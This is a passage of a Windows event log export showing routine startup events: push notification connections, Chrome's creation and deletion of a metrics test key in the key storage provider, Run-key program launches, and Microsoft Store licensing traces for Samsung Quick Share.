08:29:18.328\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.813\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.813\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.813\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.821\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:19.251\t4\t\"Create Key operation failed.\n\n Cryptographic Parameters:\n \tProvider Name:\tMicrosoft Passport Key Storage Provider\n \tKey Name:\tS-1-5-21-3712849175-2219398513-4278588552-1006//S-1-5-21-3712849175-2219398513-4278588552-1006//MSTestAvailability-FF2FA111-E816-4D1B-BDDD-65F189969E50\n \tAlgorithm Name:\tRSA\n \tFlags:\t\t0x0\n Failure Information:\n  \tReturn Code:\t0x80090016\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.288\t15\t\"New client uses VBS Key Isolation\nName: chrome.exe\nBinding status: 0x0 (The operation completed successfully.)\nClient instance binding attempts: 1\n\"\tInformation\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.314\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tWrite persisted key to file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.314\t9\t\"Key write succeeded.\n\n Provider Name:\tMicrosoft Software Key Storage Provider\n ModificationType: \t\t0x1\n Flags:\t\t0x1\n Key Name:\tChromeMetricsTestKey\n Key File Name:\t1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n ProcessName:\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n ProcessId:\t0x3984\n ServerThreadId:\t0x714\n UserId:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n ServiceTag:\t\n Return Code:\t0x0\"\tVerbose\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.314\t21\t\"Key write succeeded.\n\n Provider Name:\tMicrosoft Software Key Storage Provider\n ModificationType: \t\t0x1\n Flags:\t\t0x1\n Key Name:\tChromeMetricsTestKey\n Key File Name:\t1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n ProcessName:\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n ProcessId:\t0x3984\n ServerThreadId:\t0x714\n UserId:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n ServiceTag:\t\n Return Code:\t0x0\"\tInformation\tMicrosoft-Windows-Crypto-NCrypt/KeyMgmt\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.315\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tCreate Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.315\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.316\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.327\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.328\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.333\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tDelete key file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.336\t11\t\"Delete key succeeded.\n\n Provider Name:\tMicrosoft Software Key Storage Provider\n Flags:\t\t0x40\n DeletionType: \t\t0x0\n Key Name:\tChromeMetricsTestKey\n Key File Name:\t1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n ProcessName:\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n ProcessId:\t0x3984\n ServerThreadId:\t0x714\n UserId:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n ServiceTag:\t\n Return Code:\t0x0\"\tVerbose\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.336\t22\t\"Delete key succeeded.\n\n Provider Name:\tMicrosoft Software Key Storage Provider\n Flags:\t\t0x40\n DeletionType: \t\t0x0\n Key Name:\tChromeMetricsTestKey\n Key File Name:\t1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n ProcessName:\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n ProcessId:\t0x3984\n ServerThreadId:\t0x714\n UserId:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n ServiceTag:\t\n Return Code:\t0x0\"\tInformation\tMicrosoft-Windows-Crypto-NCrypt/KeyMgmt\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:23.346\t9708\tFinished execution of command 'chrome.exe\" --no-startup-window /prefetch:5' (PID 10840).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:23.346\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:23.399\t62408\tStarted execution of command 'QuickShareLauncher.exe'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:23.410\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.411\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.411\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+LMV1xF00Dx7238, IsSystemUsage:0\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.415\t8001\t\"Licensing package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8001\t\"Licensing 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8001\t\"0000021F83176B60: Key Machine for content: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8011\t0x21f83133e68: 13668: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8011\t0x21f83176b80: 13732: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8001\t\"0000021F83176B60: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8012\t0x21f83176b80: 13732: Key:Initial Change: Key:NegotiatingUnleased => 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Considering License ID {E6AFC57E-E948-0700-1F5B-021330EC499E} for content ID 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"998915e6-71dc-4fff-8a51-ec5d495514e9\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Accepting key with License ID {E6AFC57E-E948-0700-1F5B-021330EC499E} for Content ID 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Returning key document for contentid 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Getting lease for 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.421\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2da9b29d-6370-e263-afcc-4c90e8d0d7d6\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=9cd2c66b-d3f2-3342-77a1-fde6e819ac29&entitlementId=2da9b29d-6370-e263-afcc-4c90e8d0d7d6&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"e6afc57e-e948-0700-1f5b-021330ec499e\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"9cd2c66b-d3f2-3342-77a1-fde6e819ac29\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9PCTGDFXVZLJ\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-07-07T01:54:10.2890432+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.421\t8001\t\"Adding lease {CDEB45AC-6FCC-27AB-FE4F-2AF4AC3BBBDD} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.421\t8001\t\"Returning 1 lease documents for contentid 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.422\t8001\t\"lease = 0x8313a588, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.422\t8001\t\"lease = 0x8313a588, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.422\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.422\t8011\t0x21f83176b80: 13732: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"lease = 0x8313a588, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Lease Machine: 0000021F8312AC00: {2779D781-9DB3-5818-8A8F-961408D4CA65}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Set results for lease = 0x8313a588, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8011\t0x21f8312ac20: 13668: {2779D781-9DB3-5818-8A8F-961408D4CA65}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x8313a588\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8012\t0x21f83176b80: 13732: Key:NegotiatingUnleased Change: Key:Valid => 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8012\t0x21f8312ac20: 13668: Lease:Initial Change: Lease:Valid => {2779D781-9DB3-5818-8A8F-961408D4CA65}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8011\t0x21f83176b80: 13732: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"998915e6-71dc-4fff-8a51-ec5d495514e9\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2da9b29d-6370-e263-afcc-4c90e8d0d7d6\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=9cd2c66b-d3f2-3342-77a1-fde6e819ac29&entitlementId=2da9b29d-6370-e263-afcc-4c90e8d0d7d6&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"e6afc57e-e948-0700-1f5b-021330ec499e\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"9cd2c66b-d3f2-3342-77a1-fde6e819ac29\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9PCTGDFXVZLJ\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-07-07T01:54:10.2890432+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2da9b29d-6370-e263-afcc-4c90e8d0d7d6\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=9cd2c66b-d3f2-3342-77a1-fde6e819ac29&entitlementId=2da9b29d-6370-e263-afcc-4c90e8d0d7d6&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"e6afc57e-e948-0700-1f5b-021330ec499e\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"9cd2c66b-d3f2-3342-77a1-fde6e819ac29\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9PCTGDFXVZLJ\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-07-07T01:54:10.2890432+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"ReactiveLicensingResult: 0x00000000 for SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy, 0ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Updating lease timer for {2779D781-9DB3-5818-8A8F-961408D4CA65} to expire @ 2026-09-05T02:05:10Z (jitter was 35.787754 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Added timer for {2779D781-9DB3-5818-8A8F-961408D4CA65}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8011\t0x21f8312ac20: 13668: {2779D781-9DB3-5818-8A8F-961408D4CA65}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.425\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:23.475\t210\tCreated Desktop AppX container {245CDB95-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:23.475\t211\tAdded process 16192 to Desktop AppX container 245cdb95-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:23.478\t201\tCreated process 16192 for application SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy!App in package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.136\t62409\tFinished execution of command 'QuickShareLauncher.exe' (PID 16192).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:24.136\t62408\tStarted execution of command 'PhoneExperienceHost.exe'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:24.150\t8001\t\"Skipping license manager: PFN Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.151\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 